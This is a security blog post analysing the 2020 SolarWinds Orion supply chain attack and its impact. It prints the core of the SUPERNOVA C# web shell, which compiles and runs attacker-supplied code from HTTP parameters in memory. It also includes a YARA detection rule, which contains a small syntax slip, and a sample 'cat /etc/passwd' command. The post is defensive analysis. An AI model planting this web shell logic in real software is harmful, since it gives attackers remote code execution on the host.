Earlier this week, security research firm FireEye published a finding about what is now known as the SolarWinds Orion supply chain attack. The threat actor group (dubbed UNC2452 for now) was observed to have carried out said supply chain attack to serve malicious updates with a backdoor via the SolarWinds Orion Platform software. The details of this breach are still unfolding as of Dec 15.
What is SolarWinds Orion?
SolarWinds Orion is an orchestration platform that claims to provide a single unified experience for the management of IT environments. Some of its functionalities include:
| Category | Example use-cases |
|---|---|
| Server & Services Monitoring | Application health monitoring; System health monitoring; Storage monitoring |
| Configuration & Change Management | Patch management (security fixes, functionality updates); Endpoint compliance and health evaluation |
| Network Traffic Analysis | Performance monitoring; Security analysis (intrusion detection, prevention); Data loss protection (DLP) measures |
This is all delivered in one integrated experience. Normally, IT system administrators would have to use a multitude of tools for each management function:
| Category | Example tools |
|---|---|
| Server & Services Monitoring | Microsoft System Center Operation Manager (SCOM); Datadog; Nagios; ManageEngine OpManager; |
| Configuration & Change Management | Microsoft Windows Server Update Service (WSUS); Microsoft System Center Configuration Manager (SCCM); Jamf; Puppet; Chef; Ansible; |
| Network Traffic Analysis | Bro/Zeek Security Monitor; Palo Alto Appliances; Snort |
That is a lot of functionality on a single platform! This translates to the some of the following high-level capabilities:
- Ability to read, inject, redirect and fabricate network traffic
- Ability to reconfigure devices through config pushes – this includes installing software!
- Ability to control application and server availability
- Ability to read, write and manage storage services
- Ability to read, write and manage user accounts
- Ability to track users and their device usage (calls, web history, etc.)
Among the high-profile customers of SolarWinds Orion are several US government agencies: the DHS’s Cybersecurity and Infrastructure Security Agency (CISA), the National Institutes of Health (NIH), the Department of Energy (DOE), the Federal Bureau of Investigation (FBI) and even the Army and the Navy are big users. The SolarWinds website used to list their prominent customers at https://www.solarwinds.com/solutions/customers, but promptly took it down after the breach went public.
How was the attack carried out?
How the attackers initially gained access (the threat vector) is still rather fuzzy. It could have been this SolarWinds FTP credential leak on Github discovered in 2018 by security researcher Vinod Kumar, which may have allowed attackers to upload malicious binaries:
What we do know (with moderately high confidence) is that the threat actors leveraged their access to the update mechanism of SolarWinds Orion to distribute and install malware (which has been dubbed SUNBURST). SUNBURST is able to perform basic reconnaissance/administration on impacted hosts with the ability to download and install further payloads.
With this single point of compromise, the threat actors would have established considerable reach into multiple customer networks.
The malicious code was a modified legitimate software update package, re-packaged and signed using valid digital certificates by SolarWinds. This suggests that malicious modifications were either:
- Added directly to the code base, or
- Added before the software build and deployment processes.
The modifications made to the software packages followed the naming conventions and patterns used by the legitimate packages, (which aided in evading detection) indicating that the threat actors had thorough knowledge of the SolarWinds Orion codebase – either by studying the code base of the application in-depth, or had insider knowledge of it.
In the analysis of artifacts left behind by the SUNBURST malware, a C#-based web shell was discovered and dubbed SUPERNOVA. I managed to get my hands on the only known sample of SUPERNOVA (thanks to other friendly security researchers):
File Name: app_web_logoimagehandler.ashx.dll SHA256: C15ABAF51E78CA56C0376522D699C978217BF041A3BD3C71D09193EFA5717C71
The concept of a web shell is not novel. There are many web-based shells (a cursory Google search of “web shells github” will give you many examples) which basically provide some form of remote code execution to the attacker. Typically, some script or executable binary is uploaded to the victim machine, which, when executed, provides a shell bound to a port or connects back to a remote host to await further instructions. The attacker can then issue shell commands to the victim machine, such as “cat /etc/passwd“, or execute arbitrary code in the language the shell was written.
In this case, SUPERNOVA is a C# web shell which accepts .NET code and executes it in-memory. Since it is executed in-memory, there are no artifacts (of the executed code) left on disk.
The main web handler of SUPERNOVA is the ProcessRequest method, which accepts a few parameters including malicious C# code payload:
public void ProcessRequest(HttpContext context)
{
try {
// C# namespaces and assemblies
string codes = context.Request["codes"];
// C# class name to instantiate
string clazz = context.Request["clazz"];
// C# class method to invoke
string method = context.Request["method"];
// Arguments to the invoked method
string[] args = context.Request["args"].Split(new char[] {'\n'});
context.Response.ContentType = "text/plain";
context.Response.Write(this.DynamicRun(codes, clazz, method, args));
} //...The DynamicRun method then compiles and runs the malicious C# payload in-memory:
public string DynamicRun(string codes, string clazz, string method, string[] args)
{
ICodeCompiler codeCompiler = new CSharpCodeProvider().CreateCompiler();
CompilerParameters compilerParameters = new CompilerParameters();
// Adding referenced .NET assemblies to compiler parrameters
CompilerResults compilerResults = codeCompiler.CompileAssemblyFromSource(compilerParameters, codes);
// ...
// Result of execution
object obj = compilerResults.CompiledAssembly.CreateInstance(clazz);
return (string)obj.GetType().GetMethod(method).Invoke(obj, args);
}Since the malicious payload is run with the SolarWinds Orion software package, it can reference the namespaces, objects and assemblies available to the legitimate software package, and in turn, inherit most of its capabilities (which are numerous to say the least).
SUNBURST and SUPERNOVA had naming conventions that were in line with legitimate software packages, and as a result there aren’t many unique intrinsic properties that could be incorporated into a signature detection scheme (such as a YARA rule, see example below) without a high rate of false positives. For SUPERNOVA, we only have the SHA256 hash, the HTTP query string parameters and the handler name.
rule solarwinds_supernova : supernova {
meta:
description = "C# dynamic reflective invocation web shell in SUPERNOVA"
last_modified = "2020-12-15"
malware = "SUPERNOVA"
strings:
$dotnetilbytes = { 070E040C086F } $dotnetverstr =. ".NETFramework,Version="
$dllname = "System.dll" wide
$method1 = "CreateCompiler"
$method2 = "CompileAssemblyFromSource"
$method3 = "Invoke"
condition:
all of them
}
What damage was done?
It will take a while to assess the extent of compromise, given the scope of this breach and the time taken from the start of the campaign at the end of March 2020 till the time of detection – a lot can happen in 9 months. Since this is a supply chain attack, the initial target is the SolarWinds Orion platform and further analysis is required to determine what other entities were targeted and subsequently breached as a result.
Initial analysis by Microsoft indicates that of the entities affected by the breach, 80% of which are located in the United States, with the rest being spread across seven other countries: Canada, Mexico, Belgium, Spain, the UAE, the UK, and Israel. While the current list of known victims of the SolarWinds hack mostly includes US government agencies, the government sector is only a small portion of the victim list, with 44% being IT companies, such as software firms and equipment providers.
Conclusion
Such a well-executed supply-chain attack is a nightmare come true for any defender. With significant resources, any highly motivated actor (such as a nation-state actor) can penetrate a network in a stealthy, laser-precise manner.
The SolarWinds breach demonstrates that it is not just third-party applications that pose risk; rather, it is all the software components that comprise the software functionality. Regardless of the level of security controls deployed by an entity, weak security controls by third-party vendors can lead to eventual compromise. This incident should serve as a reminder to all organizations on the importance of the security of the vendor supply chain, which is often glossed over without thorough assessment.
This breach also shows the far- and wide-reaching impact of supply-chain attacks when executed successfully, where the impact is limited only by the number of customers along the supply chain network.
Software supply chain risk is not a new notion: we have seen many examples in recent years of software supply chains being compromised. (Recall: Flame, CCleaner, WilySupply, Petya/NotPetya…) What’s important for companies is that they must conduct effective oversight of the security of their third-party vendors. Various frameworks aim to help to put it in practice:
While these frameworks are not perfect (doing all that they say does not make you 100% secure), they help evolve the security posture of an organization to a more secure state. The question that we should we asking ourselves should not be, “what do we gain from doing this?” – but rather, given the risks and consequences of a breach, it should be, “what do we lose from not doing this?”